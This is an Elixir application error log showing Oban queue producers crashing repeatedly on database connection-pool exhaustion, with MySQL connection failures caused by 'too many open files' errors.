State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:39:18.239533Z], limit: 3, uuid: "8e8fdce4-972c-4338-b6cd-95e77981e531", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:18.239538Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24854>, refresh_timer: #Reference<0.2525715032.1099431938.24825>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:39:18.241108Z], limit: 10, uuid: "bf637993-f3c6-4034-a31b-a843ded25be6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:18.241113Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129558>, refresh_timer: #Reference<0.2525715032.1077411843.257380>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:39:18.240203Z], limit: 5, uuid: "0c4371a9-d218-4c69-82b6-e73033dc7a24", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:18.240209Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24856>, refresh_timer: #Reference<0.2525715032.1077411843.257367>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:39:18.239277Z], limit: 5, uuid: "89f787b0-3370-4640-ad6c-a72d56627bc4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:18.239283Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24855>, refresh_timer: #Reference<0.2525715032.1077411843.257356>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:39:18.238775Z], limit: 20, uuid: "9880afe9-0c4b-4e81-9eec-eed90ba37015", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:18.238783Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24852>, refresh_timer: #Reference<0.2525715032.1099431938.24814>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:39:18.239216Z], limit: 50, uuid: "eec402c1-b2ba-485f-9427-5b42052b96c5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:18.239222Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24853>, refresh_timer: #Reference<0.2525715032.1099431938.24815>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:30.293000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:31.673000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:32.915000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:34.179000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:36.686000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:38.080000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:40.722000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:41.851000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:39:30.239842Z], limit: 20, uuid: "bd76e15e-7399-4e69-8fcf-820031726c7d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:30.239847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129975>, refresh_timer: #Reference<0.2525715032.1099431938.24888>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:39:30.239648Z], limit: 5, uuid: "56c0a7e9-c3d8-499a-86b9-86f173b0f9d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:30.239654Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129978>, refresh_timer: #Reference<0.2525715032.1068498948.22006>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:39:30.239671Z], limit: 3, uuid: "b0532b85-8bd1-46d6-9c72-9cd3ea8dd7b9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:30.239677Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129974>, refresh_timer: #Reference<0.2525715032.1121189889.129966>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:42.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
